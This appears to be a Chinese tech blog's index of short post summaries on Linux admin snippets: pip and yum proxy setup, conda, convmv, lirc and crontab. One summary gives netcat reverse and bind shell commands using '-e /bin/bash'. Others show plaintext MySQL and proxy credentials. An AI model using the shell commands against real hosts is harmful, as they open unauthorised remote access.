摘要:
img_org = cv2.UMat(cv2.imread(img2_name)) img_org.get() 阅读全文
摘要:
vi ~/.pip/pip.conf[global]trusted-host = mirrors.aliyun.comindex-url = https://mirrors.aliyun.com/pypi/simple pip install -i http://mirrors.aliyun.com 阅读全文
摘要:
udp://denis.stalker.upeer.me:6969/announceudp://explodie.org:6969/announceudp://ipv4.tracker.harry.lu:80/announceudp://open.demonii.si:1337/announceud 阅读全文
摘要:
修改/etc/yum.conf 文件 在文件的最后加入一行: proxy=socks5://your_ip:port proxy=socks5://192.168.0.47:3333 阅读全文
摘要:
webserver.py 启动脚本 restart.sh 阅读全文
摘要:
ss5IP: c.v.cn 7050U:P test test set:git config --global http.https://github.com.proxy socks5://test:test@c.v.cn:7050git config --global https.https:// 阅读全文
摘要:
yum install convmv 命令: convmv -f GBK -t UTF-8 -r --nosmart --notest <目标目录> -f from -t to --nosmart 如果已经是utf-8 忽略 -r 包含所有子目录 --notest 不加表示只列出有什么需要转换的,不 阅读全文
摘要:
查看conda环境:conda env list 新建conda环境(env_name就是创建的环境名,可以自定义):conda create -n env_name 激活conda环境(ubuntu与Macos 将conda 替换为source):conda activate env_name 退 阅读全文
摘要:
反向 1.控制端:nc -lvp 4444 2.被控制端:nc 控制端IP 4444 -e /bin/bash 正向 1.被控制端:nc -lvp 4444 -e /bin/bash 2.控制端:nc 被控制端ip 4444 阅读全文
摘要:
sudo apt-get install lirc /etc/lirc/lirc_options.conf In GPIO20 OUT GPIO21 dtoverlay=lirc-rpi,gpio_out_pin=21,gpio_in_pin=20 阅读全文
摘要:
nohup mysql -u sa -pabcd1234 -e 'source /db.sql' & 阅读全文
摘要:
#!/bin/sh while true; do processExist=`ps aux | grep xxx | grep -v "grep" ` if [ -z "$processExist" ];then echo "proecss is restarted" cd /MyData/xxx nohup sh xxx.sh & else echo "process is r... 阅读全文
摘要:
crontab记录日志 修改rsyslog sudo vim /etc/rsyslog.d/50-default.conf cron.* /var/log/cron.log #将cron前面的注释符去掉 重启rsyslog sudo service rsyslog restart sudo serv 阅读全文
摘要:
getconf LONG_BIT 32 64 阅读全文
摘要:
安装了qt4和qt5 /usr/lib/x86_64-linux-gnu/qt-default/qtchooser 的default.conf 第一行改成自己qmake的bin路径即可 阅读全文